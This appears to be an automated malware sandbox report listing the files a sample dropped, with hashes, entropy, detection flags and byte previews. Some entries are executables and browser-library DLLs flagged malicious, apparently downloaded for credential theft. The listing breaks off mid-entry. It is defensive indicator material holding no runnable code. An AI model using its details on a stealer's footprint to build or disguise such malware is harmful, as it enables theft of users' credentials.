"https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.001473672592799
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXoUdCU4lyn:YWLSGTt1o9LuLgfGBPAzkVj/T8l5dX+y
MD5:	F801D91800A70334AAB2B6007FAAEE30
SHA1:	BC47CF69CDC7CD4B14B67177C2765CD890C5C135
SHA-256:	7618B175D9A451182CA0FD2C385BD427CB8DA9E2252AF5BECC9D3FD1E9120AA7
SHA-512:	C0AC57445086C451E4718A43790AC76535638C8988C67D8D34B01998E402436DED93E7CD4933D9DCEAAA7368E1D5C1CD4218661E29CD0733449C23BA53E1DD83
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732603182710773}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fe85bee2-47b2-4a1b-acd0-9274a9d1667c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46176
Entropy (8bit):	6.087750513880641
Encrypted:	false
SSDEEP:	768:RMkbJrT8IeQc5dXMpRaLmZnYyXqZETQMPLfFEIIQmxgxC1oLwWE7RTupzKscDX/k:RMk1rT8H1XGzRqmIQ9IoLoRTuiM
MD5:	D6EAE8728138F471F1FD8ECFCB884CFC
SHA1:	B31422CD34F4A6C2E1A42A3B7C85446480DF1FDD
SHA-256:	7DF6BD3BD46ED2A48C8EF7F4A585ED7942A8F4CC12FA6880AB0CE89CFBF41BDA
SHA-512:	6A6C3BB9EF7CA5F88D9A11DC46EAC08A6C9FC0F0F5CD5A230AED40623A93E74ADE306B0C91586EB9C534A78514D127CFEED978873621EBFD82F1B44F5A46C976
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"c16fdb21-222d-4dc1-8462-d4b5b967a13d"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732502383"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.844705525530029
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxIxl9Il8uWHLln7J0iEfWcOWd1rc:m1YcHLln9cON
MD5:	D341D9D7B00B7E3B2A2FC816363197DC
SHA1:	16823FA32322497BDEAB7A3D328FA499169A8578
SHA-256:	87D0F07BC0794406B54468FFB3AE3C98F1D8C15BDA65790284E2CE9AAEC00C45
SHA-512:	D73CA4F030294493648A464B0633C76CF8182334D4B41C593A15A032F28168A517780EC489C238A8381CC08428774038EB808094DED1CF1F57BA9FD4684CCDEF
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.H.z.u.q.O.s.+.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.N.s.+.g.D.y.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.004814802149419
Encrypted:	false
SSDEEP:	96:QYytYH5llQqUjdLUBQ+PxGguqpi8qOb8oPpjU:Q3t8lmxLwlPwgs7joPtU
MD5:	D63F0A6C5E47ADE4A3B9CB61A03247CF
SHA1:	04E94DCAE5E0ABEE4906386BD2CFA44BBAAAF717
SHA-256:	E5C04B0C8ECB918A15EAAF755C09A1C6EE68D79C8CF9FBDFEC5EC9041E560E20
SHA-512:	508958147412DD82662B24E4D6BB3251CA941C30838BBAE8FE7BD3242E21FA26B3BF5EE1072B91EE608FC1B519460B62C72007723F9E2A2EA6B187D8836760D3
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".9.A.P.q.j.u.M.+.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.N.s.+.g.D.y.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9117270821787766
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x9Kxl9Il8uJ2IKLxWXjEnnKcIAt2UTeMvZLt6zd/vc:aGY/2IKLsjEnjmUi0ZLt6u
MD5:	CF885803FD7DC8AB3DBB8DF40063A803
SHA1:	AE2A73830368197600F7A17B8FD807B54D56FEBB
SHA-256:	E88EAC1C74A19A4B10DBFDD273C7C3C38A3A453E7E489194FFF20E82D2974DC7
SHA-512:	4C8EB1410087BEC05BE44B91B8E262272AD6AB5A1AF2EC436192B5342B294A060BC9FAF2B02B25277B5697E99E945260AFF26BF052D339448B48A0ED59526836
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".S.X.8.1.v.7.R.d.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.N.s.+.g.D.y.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1490944
Entropy (8bit):	7.9848367348088045
Encrypted:	false
SSDEEP:	24576:1+ReirgIbns/5M8/BPwlSUf5ZzXGLV6mlVE0BTF+2XDC30wUEfAEWt+AhiJ86tsK:2eGgIbsxMOB4ZnXyV6mlVJFgZUE3tpJF
MD5:	E8E681494CA3ABF9D1ADEC9FB5BFB5B3
SHA1:	75FBDAEDEB9BEDFF751E7926F6B118A804049086
SHA-256:	475C31890BD0EC3D977B5DD3A72AF6BBA048901804C479AADAEB7B896AAC2A32
SHA-512:	9D4196DE995D8318523CBD002741B725002A47B24716A3D25B1D56EFB10631897FB13C7ED5AB78527AB3F94DDA60C2418A59C702E3251CBBE0CA4CC365B0DB89
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@...................................C...@... ............................._.q.s...........................................................P....................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...ugpfseiq.........v....'.............@...jhuzbkez..............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\7mpPLxE[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1873408
Entropy (8bit):	7.948233275439055
Encrypted:	false
SSDEEP:	24576:Wpp/RODb8cg8sMjq5BlqRxKwcAAybNf3sOd5kD/V/zDxd/XEqkFc1fuYHuog+s0P:spODb8cgtVp/FyKou7F9JX+FYH5
MD5:	A63CADCE90E5A2236DF20FEAF391A8A5
SHA1:	F28A33957756A509324DEBAF69561557D09951E0
SHA-256:	8B30A280CA29471088EA3858B9F3E1788239DFE5D6E71A503C7916AC36F74FE9
SHA-512:	CD757A61E39C6B59D8971631F4C7041AB323BE8250B57F12C2375EB46C22B0CEE965DF35F17794B9FE1B2DA8C5CAF6E38A41A8C9908092ADFFD35B4C76809E1C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................0J...........@..........................`J......B....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..*..........v..............@...tjxhgeed..... 0......x..............@...ccdijxqb..... J......n..............@....taggant.0...0J.."...t..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.374039290764679
Encrypted:	false
SSDEEP:	48:SfNaoQSgrTEQSNfNaoQ5GQmfNaoQFrQdfNaoQO3MP0UrU0U8QOE:6NnQ5rTEQgNnQ5GQONnQxQJNnQO3U0Uc
MD5:	06B469C49C8FA41D5FE75F8365AFEBB2
SHA1:	5C26C3698AF57990C5EA48D17A3733BAEB0B8AC9
SHA-256:	3B28861679C1B27867CAEE89FD1E2D1B981046F67734EE7692DA7E386761AAB2
SHA-512:	9750FBFAD324342D85E61393C1CB9A98EB6BA663E737FB61277912D398F060BADDE0C01394001C8BCBC3FB780DEB56C59B64EF8FA32067DFF1E51F87483E8775
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/16A7682A3AFD1E70A95C77A3FD1F281D",.. "id": "16A7682A3AFD1E70A95C77A3FD1F281D",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/16A7682A3AFD1E70A95C77A3FD1F281D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/458D8A304CAA5D3E3049A65DA6B08977",.. "id": "458D8A304CAA5D3E3049A65DA6B08977",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/458D8A304CAA5D3E3049A65DA6B08977"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
